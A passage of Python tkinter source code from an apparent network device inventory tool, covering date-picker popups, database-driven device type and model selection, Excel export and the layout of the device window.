on_DeviceInstalledDateWindow_quit(self):\r\n        self.DeviceInstalledData = self.cal_Installed.kill_and_save()\r\n        self.DeviceCalendarInstalledDateExist = False\r\n        self.DeviceCalendarInstalledDateWindow.destroy()\r\n        if (len(self.DeviceInstalledData) > 0):\r\n            self.DeviceInstalledDate = str(self.DeviceInstalledData['month_selected']) + '/' + str(self.DeviceInstalledData['day_selected']) + '/' + str(self.DeviceInstalledData['year_selected'])\r\n            #print (self.data['day_selected'])\r\n            #print (self.data['month_selected'])\r\n            #print (self.data['year_selected'])\r\n            #print (self.data['day_name'])\r\n            #print (self.data['month_name'])\r\n        else:\r\n            #print (\"no date was selected\")\r\n            self.DeviceInstalledDate = \"\"\r\n        self.DeviceInstalledDateFrameEntry['state'] = 'normal'\r\n        self.DeviceInstalledDateFrameEntry.delete(0,END)\r\n        self.DeviceInstalledDateFrameEntry.insert(0,self.DeviceInstalledDate)\r\n        self.DeviceInstalledDateFrameEntry['state'] = 'readonly'\r\n        \r\n    def Call_Button_Installed_Date(self):\r\n        if not (self.DeviceCalendarInstalledDateExist):\r\n            self.DeviceCalendarInstalledDateExist = True\r\n            self.DeviceCalendarInstalledDateWindow = Tk()\r\n            self.DeviceCalendarInstalledDateWindow.title(\"Installed\")\r\n            self.DeviceCalendarInstalledDateWindow.protocol(\"WM_DELETE_WINDOW\", self.on_DeviceInstalledDateWindow_quit)\r\n            self.DeviceCalendarInstalledDateWindow.call('tk', 'scaling', Windows_Scaling)\r\n            self.DeviceInstalledData = {}\r\n            if (self.Selection == 'edit'):\r\n                self.DeviceInstalledDateName = self.DeviceInstalledDateFrameEntry.get()\r\n                curItem = self.DeviceTreeview.focus()  \r\n                dic = self.DeviceTreeview.item(curItem)\r\n                curItem = int(dic.get('text')) - 1\r\n                if (len(self.DeviceInstalledDateName) > 0):\r\n                    if (self.DeviceTableDateInstalledArray[curItem] != 0):\r\n                        self.DeviceInstalledData['day_selected'] = self.DeviceTableDayInstalledArray[curItem]\r\n                        self.DeviceInstalledData['month_selected'] = self.DeviceTableMonthInstalledArray[curItem]\r\n                        self.DeviceInstalledData['year_selected'] = self.DeviceTableYearInstalledArray[curItem]\r\n            self.cal_Installed = Class_Calendar(self.DeviceCalendarInstalledDateWindow, self.DeviceInstalledData)\r\n            self.cal_Installed.setup()\r\n    #--------------------- Installed Date Calendar  <END> ------------------------------\r\n\r\n    #--------------------- Activated Date Calendar  <BEGIN> ------------------------------\r\n    def on_DeviceActivatedDateWindow_quit(self):\r\n        self.DeviceActivatedData = self.cal_Activated.kill_and_save()\r\n        self.DeviceCalendarActivatedDateExist = False\r\n        self.DeviceCalendarActivatedDateWindow.destroy()\r\n        if (len(self.DeviceActivatedData) > 0):\r\n            self.DeviceActivatedDate = str(self.DeviceActivatedData['month_selected']) + '/' + str(self.DeviceActivatedData['day_selected']) + '/' + str(self.DeviceActivatedData['year_selected'])\r\n            #print (\"=> Day, Month, Year\")\r\n            #print (self.DeviceActivatedData['day_selected'])\r\n            #print (self.DeviceActivatedData['month_selected'])\r\n            #print (self.DeviceActivatedData['year_selected'])\r\n            #print (self.data['day_name'])\r\n            #print (self.data['month_name'])\r\n        else:\r\n            #print (\"no date was selected\")\r\n            self.DeviceActivatedDate = \"\"\r\n        self.DeviceActivatedDateFrameEntry['state'] = 'normal'\r\n        self.DeviceActivatedDateFrameEntry.delete(0,END)\r\n        self.DeviceActivatedDateFrameEntry.insert(0,self.DeviceActivatedDate)\r\n        self.DeviceActivatedDateFrameEntry['state'] = 'readonly'\r\n        \r\n    def Call_Button_Activated_Date(self):\r\n        if not (self.DeviceCalendarActivatedDateExist):\r\n            self.DeviceCalendarActivatedDateExist = True\r\n            self.DeviceCalendarActivatedDateWindow = Tk()\r\n            self.DeviceCalendarActivatedDateWindow.title(\"Activated\")\r\n            self.DeviceCalendarActivatedDateWindow.protocol(\"WM_DELETE_WINDOW\", self.on_DeviceActivatedDateWindow_quit)\r\n            self.DeviceCalendarActivatedDateWindow.call('tk', 'scaling', Windows_Scaling)\r\n            self.DeviceActivatedData = {}\r\n            if (self.Selection == 'edit'):\r\n                self.DeviceActivatedDateName = self.DeviceActivatedDateFrameEntry.get()\r\n                curItem = self.DeviceTreeview.focus()  \r\n                dic = self.DeviceTreeview.item(curItem)\r\n                curItem = int(dic.get('text')) - 1\r\n                if (len(self.DeviceActivatedDateName) > 0):\r\n                    if (self.DeviceTableDateActivatedArray[curItem] != 0):\r\n                        self.DeviceActivatedData['day_selected'] = self.DeviceTableDayActivatedArray[curItem]\r\n                        self.DeviceActivatedData['month_selected'] = self.DeviceTableMonthActivatedArray[curItem]\r\n                        self.DeviceActivatedData['year_selected'] = self.DeviceTableYearActivatedArray[curItem]\r\n                        #print (\"Day, Month, Year\")\r\n                        #print (self.DeviceActivatedData['day_selected'])\r\n                        #print (self.DeviceActivatedData['month_selected'])\r\n                        #print (self.DeviceActivatedData['year_selected'])\r\n \r\n            self.cal_Activated = Class_Calendar(self.DeviceCalendarActivatedDateWindow, self.DeviceActivatedData)\r\n            self.cal_Activated.setup()\r\n    #--------------------- Activated Date Calendar  <END> ------------------------------\r\n\r\n    #--------------------- Disconnected Date Calendar  <BEGIN> ------------------------------\r\n    def on_DeviceDisconnectedDateWindow_quit(self):\r\n        self.DeviceDisconnectedData = self.cal_Disconnected.kill_and_save()\r\n        self.DeviceCalendarDisconnectedDateExist = False\r\n        self.DeviceCalendarDisconnectedDateWindow.destroy()\r\n        if (len(self.DeviceDisconnectedData) > 0):\r\n            self.DeviceDisconnectedDate = str(self.DeviceDisconnectedData['month_selected']) + '/' + str(self.DeviceDisconnectedData['day_selected']) + '/' + str(self.DeviceDisconnectedData['year_selected'])\r\n            #print (self.data['day_selected'])\r\n            #print (self.data['month_selected'])\r\n            #print (self.data['year_selected'])\r\n            #print (self.data['day_name'])\r\n            #print (self.data['month_name'])\r\n        else:\r\n            #print (\"no date was selected\")\r\n            self.DeviceDisconnectedDate = \"\"\r\n        self.DeviceDisconnectedDateFrameEntry['state'] = 'normal'\r\n        self.DeviceDisconnectedDateFrameEntry.delete(0,END)\r\n        self.DeviceDisconnectedDateFrameEntry.insert(0,self.DeviceDisconnectedDate)\r\n        self.DeviceDisconnectedDateFrameEntry['state'] = 'readonly'\r\n        \r\n    def Call_Button_Disconnected_Date(self):\r\n        if not (self.DeviceCalendarDisconnectedDateExist):\r\n            self.DeviceCalendarDisconnectedDateExist = True\r\n            self.DeviceCalendarDisconnectedDateWindow = Tk()\r\n            self.DeviceCalendarDisconnectedDateWindow.title(\"Disconnected\")\r\n            self.DeviceCalendarDisconnectedDateWindow.protocol(\"WM_DELETE_WINDOW\", self.on_DeviceDisconnectedDateWindow_quit)\r\n            self.DeviceCalendarDisconnectedDateWindow.call('tk', 'scaling', Windows_Scaling)\r\n            self.DeviceDisconnectedData = {}\r\n            if (self.Selection == 'edit'):\r\n                self.DeviceDisconnectedDateName = self.DeviceDisconnectedDateFrameEntry.get()\r\n                curItem = self.DeviceTreeview.focus()  \r\n                dic = self.DeviceTreeview.item(curItem)\r\n                curItem = int(dic.get('text')) - 1\r\n                if (len(self.DeviceDisconnectedDateName) > 0):\r\n                    if (self.DeviceTableDisconectedDateArray[curItem] != 0):\r\n                        self.DeviceDisconnectedData['day_selected'] = self.DeviceTableDayDisconectedArray[curItem]\r\n                        self.DeviceDisconnectedData['month_selected'] = self.DeviceTableMonthDisconectedArray[curItem]\r\n                        self.DeviceDisconnectedData['year_selected'] = self.DeviceTableYearDisconectedArray[curItem]\r\n            self.cal_Disconnected = Class_Calendar(self.DeviceCalendarDisconnectedDateWindow, self.DeviceDisconnectedData)\r\n            self.cal_Disconnected.setup()\r\n    #--------------------- Disconnected Date Calendar  <END> ------------------------------\r\n\r\n    #--------------------- Expiration Date Calendar  <BEGIN> ------------------------------\r\n    def on_DeviceExpirationDateWindow_quit(self):\r\n        self.DeviceExpirationData = self.cal_Expiration.kill_and_save()\r\n        self.DeviceCalendarExpirationDateExist = False\r\n        self.DeviceCalendarExpirationDateWindow.destroy()\r\n        if (len(self.DeviceExpirationData) > 0):\r\n            self.DeviceExpirationDate = str(self.DeviceExpirationData['month_selected']) + '/' + str(self.DeviceExpirationData['day_selected']) + '/' + str(self.DeviceExpirationData['year_selected'])\r\n            #print (self.data['day_selected'])\r\n            #print (self.data['month_selected'])\r\n            #print (self.data['year_selected'])\r\n            #print (self.data['day_name'])\r\n            #print (self.data['month_name'])\r\n        else:\r\n            #print (\"no date was selected\")\r\n            self.DeviceExpirationDate = \"\"\r\n        self.DeviceExpirationDateFrameEntry['state'] = 'normal'\r\n        self.DeviceExpirationDateFrameEntry.delete(0,END)\r\n        self.DeviceExpirationDateFrameEntry.insert(0,self.DeviceExpirationDate)\r\n        self.DeviceExpirationDateFrameEntry['state'] = 'readonly'\r\n        \r\n    def Call_Button_Expiration_Date(self):\r\n        if not (self.DeviceCalendarExpirationDateExist):\r\n            self.DeviceCalendarExpirationDateExist = True\r\n            self.DeviceCalendarExpirationDateWindow = Tk()\r\n            self.DeviceCalendarExpirationDateWindow.title(\"Expiration\")\r\n            self.DeviceCalendarExpirationDateWindow.protocol(\"WM_DELETE_WINDOW\", self.on_DeviceExpirationDateWindow_quit)\r\n            self.DeviceCalendarExpirationDateWindow.call('tk', 'scaling', Windows_Scaling)\r\n            self.DeviceExpirationData = {}\r\n            if (self.Selection == 'edit'):\r\n                self.DeviceExpirationDateName = self.DeviceExpirationDateFrameEntry.get()\r\n                curItem = self.DeviceTreeview.focus()  \r\n                dic = self.DeviceTreeview.item(curItem)\r\n                curItem = int(dic.get('text')) - 1\r\n                if (len(self.DeviceExpirationDateName) > 0):\r\n                    if (self.DeviceTableExpirationDateArray[curItem] != 0):\r\n                        self.DeviceExpirationData['day_selected'] = self.DeviceTableDayExpirationArray[curItem]\r\n                        self.DeviceExpirationData['month_selected'] = self.DeviceTableMonthExpirationArray[curItem]\r\n                        self.DeviceExpirationData['year_selected'] = self.DeviceTableYearExpirationArray[curItem]\r\n            self.cal_Expiration = Class_Calendar(self.DeviceCalendarExpirationDateWindow, self.DeviceExpirationData)\r\n            self.cal_Expiration.setup()\r\n    #--------------------- Expiration Date Calendar  <END> ------------------------------\r\n\r\n\r\n    def on_device_type_combo_changed(self,event):\r\n        #print (\".\")\r\n        if self.db.Connect():\r\n            # SQL Querry to the Device Table\r\n            #self.DeviceTypeVendorIDArray\r\n            #self.DeviceComboBoxTypeID\r\n            sql = \"\"\"\r\n                    SELECT * FROM Device_Model\r\n                    WHERE Vendor_ID = '%s' AND Device_Type_ID = '%s'\r\n                    ORDER BY Device_Model_Name ASC\r\n                  \"\"\" % (self.DeviceTypeVendorIDArray[self.DeviceComboBoxTypeID.current()],\r\n                         self.DeviceTypeIDArray[self.DeviceComboBoxTypeID.current()])\r\n            #print (sql)\r\n            if (self.db.Execute(sql)):\r\n                #print (\"found it\")\r\n                i = 0\r\n                self.progress['maximum'] = len(self.db.results)\r\n                self.DeviceModelIDArray = []\r\n                self.DeviceModelNameArray = []\r\n                while (i < len(self.db.results)):\r\n                    num = i + 1\r\n                    self.DeviceModelIDArray.append(self.db.results[i][0].strip())\r\n                    self.DeviceModelNameArray.append(self.db.results[i][1].strip())\r\n                    i = i + 1\r\n                    self.progress['value'] = i\r\n                self.DeviceComboBoxModelID['values'] = self.DeviceModelNameArray\r\n                if (len(self.DeviceModelNameArray)== 0):\r\n                    self.DeviceComboBoxModelID['state'] = DISABLED ######\r\n                    self.Is_Get_Type_and_Model = False\r\n                else:\r\n                    self.DeviceComboBoxModelID['state'] = 'readonly'\r\n                    self.DeviceComboBoxModelID.current(0)\r\n                    #self.DeviceComboBoxTypeID.set(\"\")\r\n                    self.Is_Get_Type_and_Model = True\r\n            else:\r\n                sql = \"\"\"\r\n                        SELECT * FROM Device_Model\r\n                        WHERE Vendor_ID = '%s'\r\n                      \"\"\" % ('UNKNOWN')\r\n                #print (sql)\r\n                if (self.db.Execute(sql)):\r\n                    #print (\"found it\")\r\n                    i = 0\r\n                    self.progress['maximum'] = len(self.db.results)\r\n                    self.DeviceModelIDArray = []\r\n                    self.DeviceModelNameArray = []\r\n                    while (i < len(self.db.results)):\r\n                        num = i + 1\r\n                        self.DeviceModelIDArray.append(self.db.results[i][0].strip())\r\n                        self.DeviceModelNameArray.append(self.db.results[i][1].strip())\r\n                        i = i + 1\r\n                        self.progress['value'] = i\r\n                    self.DeviceComboBoxModelID['values'] = self.DeviceModelNameArray\r\n                    if (len(self.DeviceModelNameArray)== 0):\r\n                        self.DeviceComboBoxModelID['state'] = DISABLED ########\r\n                        self.Is_Get_Type_and_Model = False\r\n                    else:\r\n                        self.DeviceComboBoxModelID['state'] = 'readonly'\r\n                        self.DeviceComboBoxModelID.current(0)\r\n                        #self.DeviceComboBoxTypeID.set(\"\")\r\n                        self.Is_Get_Type_and_Model = True\r\n                else:\r\n                    mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                    message = 'No Records found for Device Model')                \r\n        else:\r\n            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                             message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n                                       + 'Please make sure the ODBC DSN Name mathes: ['\r\n                                       + self.ODBC_name + \"]\")\r\n\r\n    def Get_Type_Model_and_Satus(self):\r\n        #print (\"\")\r\n        # self.DeviceComboBoxTypeID\r\n        # self.DeviceComboBoxModelID\r\n        # self.DeviceComboBoxStatus\r\n        self.Is_Get_Type_and_Model = False\r\n        if self.db.Connect():\r\n            # SQL Querry to the Device Type\r\n            sql = \"\"\"\r\n                    SELECT * FROM Device_Type\r\n                    ORDER BY Device_Type_Name ASC\r\n                  \"\"\"\r\n            #print (sql)\r\n            if (self.db.Execute(sql)):\r\n                #print (\"found it\")\r\n                i = 0\r\n                self.progress['maximum'] = len(self.db.results)\r\n                self.DeviceTypeIDArray = []\r\n                self.DeviceTypeNameArray = []\r\n                self.DeviceTypeVendorIDArray = []\r\n                while (i < len(self.db.results)):\r\n                    num = i + 1\r\n                    self.DeviceTypeIDArray.append(self.db.results[i][0].strip())\r\n                    self.DeviceTypeNameArray.append(self.db.results[i][1].strip())\r\n                    self.DeviceTypeVendorIDArray.append(self.db.results[i][2].strip())\r\n                    i = i + 1\r\n                    self.progress['value'] = i\r\n                self.DeviceComboBoxTypeID['values'] = self.DeviceTypeNameArray\r\n                if (len(self.DeviceTypeNameArray)== 0):\r\n                    self.DeviceComboBoxTypeID['state'] = DISABLED\r\n                    self.Is_Get_Type_and_Model = False\r\n                else:\r\n                    self.DeviceComboBoxTypeID['state'] = DISABLED #'readonly'\r\n                    self.DeviceComboBoxTypeID.current(0)\r\n                    #self.DeviceComboBoxTypeID.set(\"\")\r\n                    self.Is_Get_Type_and_Model = True\r\n            else:\r\n                mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                message = 'No Records found for Device Type')\r\n\r\n            # SQL Querry to the Device Model\r\n            sql = \"\"\"\r\n                    SELECT * FROM Device_Model\r\n                    ORDER BY Device_Model_ID ASC\r\n                  \"\"\"\r\n            #print (sql)\r\n            if (self.db.Execute(sql)):\r\n                #print (\"found it\")\r\n                i = 0\r\n                self.progress['maximum'] = len(self.db.results)\r\n                self.DeviceModelIDArray = []\r\n                self.DeviceModelNameArray = []\r\n                while (i < len(self.db.results)):\r\n                    num = i + 1\r\n                    self.DeviceModelIDArray.append(self.db.results[i][0].strip())\r\n                    self.DeviceModelNameArray.append(self.db.results[i][1].strip())\r\n                    i = i + 1\r\n                    self.progress['value'] = i\r\n                self.DeviceComboBoxModelID['values'] = self.DeviceModelNameArray\r\n                if (len(self.DeviceModelNameArray)== 0):\r\n                    self.DeviceComboBoxModelID['state'] = DISABLED\r\n                    self.Is_Get_Type_and_Model = False\r\n                else:\r\n                    self.DeviceComboBoxModelID['state'] = DISABLED #'readonly'\r\n                    self.DeviceComboBoxModelID.current(0)\r\n                    #self.DeviceComboBoxTypeID.set(\"\")\r\n                    self.Is_Get_Type_and_Model = True\r\n            else:\r\n                mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                message = 'No Records found for Device Model')\r\n        else:\r\n            mbox.showerror(master=self.DeviceFrame,title='Device',\r\n                             message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n                                       + 'Please make sure the ODBC DSN Name mathes: ['\r\n                                       + self.ODBC_name + \"]\")\r\n        # ---- Status ----\r\n        self.DeviceStatusValues = ['production','implementation','pre-production','unmanaged','obsolete']\r\n        self.DeviceComboBoxStatus['values'] = self.DeviceStatusValues\r\n        self.DeviceComboBoxStatus['state'] = DISABLED\r\n        self.DeviceComboBoxStatus.current(0)\r\n\r\n        self.DeviceICMPValues = ['NO','YES']\r\n        self.DeviceComboBoxICMPCapable['values'] = self.DeviceICMPValues\r\n        self.DeviceComboBoxICMPCapable['state'] = DISABLED\r\n        self.DeviceComboBoxICMPCapable.current(0)\r\n\r\n        self.DeviceComboBoxICMPMonitor['values'] = self.DeviceICMPValues\r\n        self.DeviceComboBoxICMPMonitor['state'] = DISABLED\r\n        self.DeviceComboBoxICMPMonitor.current(0)\r\n        \r\n    def Call_Save_As(self):\r\n        #self.data_ready = True\r\n        if (self.data_ready):\r\n            #print (\"Save as\")\r\n            input_file_name = tkinter.filedialog.asksaveasfilename(defaultextension=\".xlsx\", filetypes=[(\"Excel 2010 Documents\", \"*.xlsx\"),(\"All Files\", \"*.*\")])\r\n            if input_file_name != \"\":\r\n                self.file_name = input_file_name\r\n                ExcellFile = Class_SaveAs(ODBC_DSN_name,Windows_Scaling,self.file_name,self.version)\r\n                Tab0 = \"Device List\"\r\n                Tabs = [Tab0]\r\n                ExcellFile.Call_Write_to_File(Tabs)\r\n                Row = 2    # 3\r\n                Column = 1 # A\r\n                ExcellFile.Add_DataToWorksheet(self.DeviceTableArrayColumns,Row,Column,Tab0,\"Fill\",lightsalmon_1,14,'Bold')   #<--- Columns\r\n                Row = 3\r\n                i = 0\r\n                while (i < len(self.results)):                                                                            #<------ Data for the Columns\r\n                    num = i + 1\r\n                    item = self.results[i]                          \r\n                    ExcellFile.Add_DataToWorksheet(item,Row,Column,Tab0,\"No-Fill\",lightsalmon_1,12,'No-Bold')\r\n                    i = i + 1\r\n                    Row = Row + 1\r\n                if (ExcellFile.Save_File()):\r\n                    mbox.showinfo(master=self.DeviceFrame,title='Device List',\r\n                            message = '!!! The File was saved !!!')\r\n                    self.DeviceWindow.title(\"Device                    File: [\"+self.file_name+\"] SAVED\")                  #<---- Window Name Change\r\n                    if Is_logging_Available:\r\n                        Parameter = []\r\n                        Parameter = ['Device','SAVE AS']    \r\n                        Logging.Log(Parameter)\r\n                else:\r\n                    mbox.showerror(master=self.DeviceFrame,title='Device List',\r\n                            message = '*** The File was not saved, Perhaps It is already open ***')\r\n\r\n\r\n\r\n    def Display_Device_Window(self): \r\n        if not self.DeviceWindowExist:\r\n            # Set up the Window\r\n            self.DeviceWindowExist = True\r\n            self.DeviceWindow = Tk()\r\n            self.DeviceWindow.geometry('1350x700+350+70')\r\n            self.DeviceWindow.title(\"Device\")\r\n            self.DeviceWindow.protocol(\"WM_DELETE_WINDOW\", self.on_DeviceWindow_quit)\r\n            self.DeviceWindow.call('tk', 'scaling', Windows_Scaling)\r\n            DeviceLabel = Label(self.DeviceWindow,text=\"Helvetica\", font=(\"Helvetica\", 19))\r\n            DeviceLabel[\"text\"] = \"Device / Equipment\"\r\n            DeviceLabel.pack()\r\n\r\n            self.data_ready = False\r\n            #------------------ MENU <BEGIN> ----------------------------------------------------------\r\n            menubar = Menu(self.DeviceWindow)\r\n            filemenu = Menu(menubar, tearoff=0)\r\n            menubar.add_cascade(label=\"File\", menu=filemenu)\r\n            if Is_SaveAs_Available:\r\n                filemenu.add_command(label=\"Save As\", command=self.Call_Save_As)\r\n            filemenu.add_separator()\r\n            filemenu.add_command(label=\"Exit\", command=self.on_DeviceWindow_quit)\r\n            self.DeviceWindow.config(menu=menubar)\r\n            #------------------ MENU <END> ----------------------------------------------------------\r\n\r\n                    \r\n            # Setup Frame\r\n            self.DeviceFrame = Frame(self.DeviceWindow)\r\n            self.DeviceFrame.pack(side=TOP, fill=BOTH, expand=Y)\r\n\r\n            # set frame resizing priorities\r\n            self.DeviceFrame.rowconfigure(0, weight=1)\r\n            self.DeviceFrame.columnconfigure(0, weight=1)\r\n\r\n            if self.db.Connect():\r\n\r\n                     # Setup Buttons\r\n                    if (Is_Country_Available):\r\n                        self.ButtonCountryAdd = Button(self.DeviceFrame, text = '+ Country', command = self.Display_Country_Window, state=ACTIVE)\r\n                        self.ButtonCountryAdd.place(x = 450, y = 8, width=75, height=24)\r\n\r\n                        self.ButtonCountryRefresh = Button(self.DeviceFrame, text = 'Refresh', command = self.on_Country_Table_Refresh, state=ACTIVE)\r\n                        self.ButtonCountryRefresh.place(x = 550, y = 8, width=75, height=24)\r\n\r\n                    if (Is_Region_Available):\r\n                        self.ButtonRegionAdd = Button(self.DeviceFrame, text = '+ Region', command = self.Display_Region_Window, state=DISABLED)\r\n                        self.ButtonRegionAdd.place(x = 450, y = 38, width=75, height=24)\r\n\r\n                        self.ButtonRegionRefresh = Button(self.DeviceFrame, text = 'Refresh', command = self.on_Region_Table_Refresh, state=DISABLED)\r\n                        self.ButtonRegionRefresh.place(x = 550, y = 38, width=75, height=24)\r\n\r\n                    if (Is_Facility_Available):\r\n                        self.ButtonFacilityAdd = Button(self.DeviceFrame, text = '+ Facility', command = self.Display_Facility_Window, state=DISABLED)\r\n                        self.ButtonFacilityAdd.place(x = 450, y = 68, width=75, height=24)\r\n\r\n                        self.ButtonFacilityRefresh = Button(self.DeviceFrame, text = 'Refresh', command = self.on_Facility_Table_Refresh, state=DISABLED)\r\n                        self.ButtonFacilityRefresh.place(x = 550, y = 68, width=75, height=24)\r\n\r\n                    if (Is_Sites_Available):\r\n                        self.ButtonSitesAdd = Button(self.DeviceFrame, text = '+ Site', command = self.Display_Sites_Window, state=DISABLED)\r\n                        self.ButtonSitesAdd.place(x = 450, y = 98, width=75, height=24)\r\n\r\n                        self.ButtonSitesRefresh = Button(self.DeviceFrame, text = 'Refresh', command = self.on_Sites_Table_Refresh, state=DISABLED)\r\n                        self.ButtonSitesRefresh.place(x = 550, y = 98, width=75, height=24)\r\n\r\n\r\n                    self.ButtonDeviceAdd = Button(self.DeviceFrame, text = 'Add', command = self.Call_Button_Device_Add, state=DISABLED)\r\n                    self.ButtonDeviceAdd.place(x = 450, y = 128, width=75, height=25)\r\n\r\n                    self.ButtonDeviceEdit = Button(self.DeviceFrame, text = 'Edit', command = self.Call_Button_Device_Edit, state=DISABLED)\r\n                    self.ButtonDeviceEdit.place(x = 550, y = 128, width=75, height=25)\r\n\r\n                    self.ButtonDeviceRemove = Button(self.DeviceFrame, text = 'Remove', command = self.Call_Button_Device_Remove, state=DISABLED)\r\n                    self.ButtonDeviceRemove.place(x = 650, y = 128, width=75, height=25)\r\n\r\n                    self.ButtonDeviceOK = Button(self.DeviceFrame, text = 'OK / UPDATE', command = self.Call_Button_Device_OK, state=DISABLED)\r\n                    self.ButtonDeviceOK.place(x = 750, y = 128, width=100, height=25)\r\n\r\n                    self.ButtonDeviceCancel = Button(self.DeviceFrame, text = 'Cancel', command = self.Call_Button_Device_Cancel, state=DISABLED)\r\n                    self.ButtonDeviceCancel.place(x = 875, y = 128, width=75, height=25)\r\n\r\n                    # Utilities Buttons\r\n                    self.ButtonDeviceICMP = Button(self.DeviceFrame, text = 'ICMP', command = self.Call_Button_ICMP, state=DISABLED)\r\n                    self.ButtonDeviceICMP.place(x = 650, y = 8, width=75, height=25)\r\n\r\n                    self.ButtonDeviceCircuits = Button(self.DeviceFrame, text = 'Circuits', command = self.Call_Button_Circuits, state=DISABLED)\r\n                    self.ButtonDeviceCircuits.place(x = 750, y = 8, width=100, height=25)\r\n\r\n                    self.ButtonDeviceLocalPointOfContacts = Button(self.DeviceFrame, text = 'Local POC', command = self.Call_Button_LocalPointOfContacts, state=DISABLED)\r\n                    self.ButtonDeviceLocalPointOfContacts.place(x = 650, y = 38, width=75, height=25)\r\n\r\n\r\n                    self.ButtonDevicePing64 = Button(self.DeviceFrame, text = 'PING 64 Bytes', command = self.Call_Button_Ping64, state=DISABLED)\r\n                    self.ButtonDevicePing64.place(x = 750, y = 38, width=100, height=25)\r\n\r\n                    self.ButtonDevicePing1500 = Button(self.DeviceFrame, text = 'PING 1500 Bytes', command = self.Call_Button_Ping1500, state=DISABLED)\r\n                    self.ButtonDevicePing1500.place(x = 750, y = 68, width=100, height=25)\r\n\r\n                    #self.ButtonDeviceContacts = Button(self.DeviceFrame, text = 'Local Contacts', command = self.Call_Button_Contacts, state=DISABLED)\r\n                    #self.ButtonDeviceContacts.place(x = 750, y = 98, width=100, height=25)\r\n\r\n\r\n                    # Create Progress Bar\r\n                    self.progress = ttk.Progressbar(self.DeviceFrame, orient=\"horizontal\",length=500, mode=\"determinate\")\r\n                    self.progress['maximum'] = 100\r\n                    self.progress['value'] = 0\r\n                    self.progress.place(x=450, y=158)\r\n\r\n                    # Setup Labels\r\n                    CountryIDFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    CountryIDFrameLabel[\"text\"] = \"Country Name:\"\r\n                    CountryIDFrameLabel.place(x=10, y=10)\r\n\r\n                    RegionIDFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    RegionIDFrameLabel[\"text\"] = \"Region Name:\"\r\n                    RegionIDFrameLabel.place(x=10, y=40)\r\n\r\n                    FacilityIDFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    FacilityIDFrameLabel[\"text\"] = \"Facility Name:\"\r\n                    FacilityIDFrameLabel.place(x=10, y=70)\r\n\r\n                    SitesIDFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    SitesIDFrameLabel[\"text\"] = \"Site Name:\"\r\n                    SitesIDFrameLabel.place(x=10, y=100)\r\n\r\n                    # Setup Labels and Entry\r\n                    self.DeviceIDFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceIDFrameLabel[\"text\"] = \"Device Name:\"\r\n                    self.DeviceIDFrameLabel.place(x=10, y=130)\r\n                    self.DeviceIDFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceIDFrameEntry['width']=50\r\n                    self.DeviceIDFrameEntry.place(x=110, y=130)\r\n                    self.DeviceIDFrameEntry['state'] = DISABLED\r\n\r\n                    \r\n                    self.DeviceDescriptionFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceDescriptionFrameLabel[\"text\"] = \"Description:\"\r\n                    self.DeviceDescriptionFrameLabel.place(x=10, y=160)\r\n                    self.DeviceDescriptionFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceDescriptionFrameEntry['width']=50\r\n                    self.DeviceDescriptionFrameEntry.place(x=110, y=160)\r\n                    self.DeviceDescriptionFrameEntry['state'] = DISABLED               \r\n\r\n                    # ComboBox for Type, Model, Status\r\n                    \r\n                    TypeIDFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    TypeIDFrameLabel[\"text\"] = \"Type:\"\r\n                    TypeIDFrameLabel.place(x=10, y=190)\r\n                    self.DeviceComboBoxTypeID = ttk.Combobox(self.DeviceFrame, state='disabled', width = 20)\r\n                    self.DeviceComboBoxTypeID.bind(\"<<ComboboxSelected>>\", self.on_device_type_combo_changed)\r\n                    self.DeviceComboBoxTypeID.place(x = 60, y = 190)\r\n\r\n                    self.ModelIDFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.ModelIDFrameLabel[\"text\"] = \"Model:\"\r\n                    self.ModelIDFrameLabel.place(x=220, y=190)\r\n                    self.DeviceComboBoxModelID = ttk.Combobox(self.DeviceFrame, state='disabled', width = 20)\r\n                    self.DeviceComboBoxModelID.place(x = 280, y = 190)\r\n                    #self.DeviceComboBoxModelID.bind(\"<<ComboboxSelected>>\", self.on_country_combo_changed)\r\n\r\n                    self.DeviceIPAddressFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceIPAddressFrameLabel[\"text\"] = \"IP Address:\"\r\n                    self.DeviceIPAddressFrameLabel.place(x=430, y=190)\r\n                    self.DeviceIPAddressFrameEntry = Entry(self.DeviceFrame)\r\n                    self.DeviceIPAddressFrameEntry['width']=17\r\n                    self.DeviceIPAddressFrameEntry.place(x=510, y=190)\r\n                    self.DeviceIPAddressFrameEntry['state'] = DISABLED\r\n                    self.DeviceIPAddressFrameEntry.bind(\"<Double-1>\", self.Get_IPAddress)\r\n\r\n                    self.DeviceStatusFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceStatusFrameLabel[\"text\"] = \"Status:\"\r\n                    self.DeviceStatusFrameLabel.place(x=625, y=190)\r\n                    self.DeviceComboBoxStatus = ttk.Combobox(self.DeviceFrame, state='disabled', width = 20)\r\n                    #self.ComboBoxCoutryID.bind(\"<<ComboboxSelected>>\", self.on_country_combo_changed)\r\n                    self.DeviceComboBoxStatus.place(x = 675, y = 190)\r\n\r\n\r\n                    ##########################################\r\n\r\n                    self.DeviceNATIPAddressFrameLabel = Label(self.DeviceFrame,text=\"Helvetica\", font=(\"Helvetica\", 10))\r\n                    self.DeviceNATIPAddressFrameLabel[\"text\"] = \"NAT IP Address:\"\r\n                    